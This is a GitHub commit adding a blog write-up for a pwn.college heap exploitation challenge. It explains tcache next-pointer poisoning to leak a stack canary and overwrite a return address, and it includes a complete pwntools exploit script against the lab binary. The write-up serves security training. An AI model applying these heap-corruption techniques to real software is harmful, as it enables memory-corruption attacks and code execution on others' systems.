Skip to content

Commit 8f67654

Browse files
committed
F0-DAMM
1 parent 230718b commit 8f67654

File tree

1 file changed

+145
-0
lines changed

1 file changed

+145
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
---
2+
layout: post
3+
title: (Dynamic Allocator Misuse) level 10
4+
categories: pwn.college Dynamic-Allocator-Misuse
5+
date: 2025-10-06 13:00:12 +0300
6+
tage: pwn.college stack-canary PIE ASLR heap house-of-force
7+
---
8+
9+
## Information
10+
- category: pwn
11+
12+
13+
## Description
14+
> Leverage TCACHE exploits to gain control flow.
15+
16+
## Write-up
17+
18+
**Goal:** leak the stack canary, leak a stack address to bypass PIE, and finally overwrite a return frame (ret2win) to get the flag.
19+
20+
### Idea in one line
21+
Abuse the tcache `next` pointer in a freed chunk header: overwrite it so the next `malloc` returns a pointer that points at the canary (and later to the stack). Use that read/write to leak the canary and stack, then craft a `scanf` payload to hijack control flow.
22+
23+
### 1. Redirect tcache `next` to the canary
24+
- Allocate a chunk (call it `alloc[0]`) and then `free(0)`.
25+
- After freeing, write into the freed chunk’s header to set the tcache `next` pointer (`next_ptr`) to the address of the stack canary.
26+
- When the next `malloc` is issued, it will return a pointer that resolves to the canary address. Reading/printing that memory yields the canary value.
27+
28+
Pseudo:
29+
```text
30+
alloc(0)
31+
free(0)
32+
write_header_of_tcache_chunk(next_ptr = addr_of_canary)
33+
malloc() # returns pointer that points to canary
34+
puts(0) # leak canary
35+
```
36+
### 2. Overwrite return frame and trigger
37+
- Use the write primitive again to make the next ```malloc``` return a pointer to a stack frame where you can place a forged return context.
38+
39+
```text
40+
// layout on stack (conceptual)
41+
[ padding... ]
42+
[ canary (correct) ]
43+
[ saved rbp ]
44+
[ ret addr -> ret2win ]
45+
```
46+
47+
## Exploit
48+
49+
```python
50+
from pwn import *
51+
elf = context.binary = ELF("/challenge/babyheap_level10.1")
52+
53+
offset_ret = 0x118
54+
offset_canary = 0x108
55+
56+
def conn():
57+
global p
58+
p = elf.process()
59+
60+
def malloc(idx,size):
61+
p.sendline(b"malloc")
62+
p.sendline(idx)
63+
p.sendline(size)
64+
65+
def free(idx):
66+
p.sendline(b"free")
67+
p.sendline(idx)
68+
69+
def scanf(idx,data):
70+
p.sendline(b"scanf")
71+
p.sendline(idx)
72+
p.sendline(data)
73+
74+
def puts(idx):
75+
p.sendline(b"puts")
76+
p.sendline(idx)
77+
78+
def quit():
79+
p.sendline(b"quit")
80+
p.interactive()
81+
def leak():
82+
p.recvuntil(b"allocations is at: ")
83+
stack = int(p.recvline().split(b".")[0],16)
84+
p.recvuntil(b"main is at: ")
85+
main = int(p.recvline().split(b".")[0],16)
86+
87+
88+
89+
baself = main - elf.symbols['main']
90+
elf.address = baself
91+
92+
malloc(b"0",b"0")
93+
malloc(b"1",b"0")
94+
95+
free(b"1")
96+
free(b"0")
97+
98+
scanf(b"0",p64(stack + offset_canary + 1))
99+
100+
malloc(b"0",b"0")
101+
malloc(b"0",b"0")
102+
103+
puts(b"0")
104+
105+
p.recvuntil(b"Data: ")
106+
canary = u64(p.recvline().strip().rjust(8,b"\x00"))
107+
108+
log.success(f"stack: {hex(stack)}")
109+
log.success(f"main: {hex(main)}")
110+
log.success(f"canary: {hex(canary)}")
111+
112+
return canary,stack
113+
114+
def send_payload(stack,canary):
115+
116+
malloc(b"0",b"0")
117+
malloc(b"1",b"0")
118+
119+
free(b"1")
120+
free(b"0")
121+
122+
scanf(b"0",p64(stack))
123+
124+
malloc(b"0",b"0")
125+
malloc(b"0",b"0")
126+
127+
payload = flat(
128+
b"A"*(offset_canary),
129+
canary,
130+
0,
131+
elf.symbols['win']
132+
)
133+
134+
scanf(b"0",payload)
135+
136+
quit()
137+
138+
def main():
139+
conn()
140+
canary,stack = leak()
141+
send_payload(stack,canary)
142+
143+
if __name__ == "__main__":
144+
main()
145+
```

0 commit comments

Comments
 (0)